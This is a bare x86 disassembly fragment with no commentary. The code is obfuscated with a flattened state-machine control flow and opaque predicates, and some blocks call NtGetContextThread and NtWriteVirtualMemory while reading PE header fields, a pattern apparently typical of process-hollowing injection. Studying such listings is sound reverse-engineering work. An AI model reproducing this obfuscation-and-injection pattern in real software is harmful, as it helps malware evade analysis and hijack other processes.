sub edx, 0x4ab38b11
sub edx, 1
add edx, 0x4ab38b11
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x101d78e9
mov ecx, 0x62aeba26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov ecx, dword [0x1006c728]
mov eax, dword [0x1006c724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1ac33705
mov ecx, 0x5adc747e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov dword [ebp - 0x15c], 0x4eb5451c
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0xf7a896f5
jmp 0x1000ee69
mov eax, dword [0x1006c728]
mov ecx, dword [0x1006c724]
mov edx, eax
sub edx, 0xf9509785
sub edx, 1
add edx, 0xf9509785
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x38312017
mov ecx, 0xff834927
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0xc37f8cd8
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0x7ceebb8c
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0xf08a64fd
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0x75144af5
jmp 0x1000ee69
mov eax, dword [ebp - 0x130]
mov dword [eax], 0
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x15c], 0xc2408f03
jmp 0x1000ee69
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x154]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x130]
mov edx, dword [edx]
mov esi, dword [ebp - 0x144]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x15c], 0xe5e83773
jmp 0x1000ee69
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x15c], 0xd451e996
jmp 0x1000ee69
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0x28]
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov dword [eax], 0
mov dword [ebp - 0x15c], 0xe8f81a03
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0xe9559bed
jmp 0x1000ee69
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x15c], 0x6e972ac6
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0x8c15fa56
jmp 0x1000ee69
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x15c], 0xa1f3af45
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0x36ef3352
jmp 0x1000ee69
mov dword [ebp - 0x15c], 0x2017491f
jmp 0x1000ee69
jmp 0x1000800f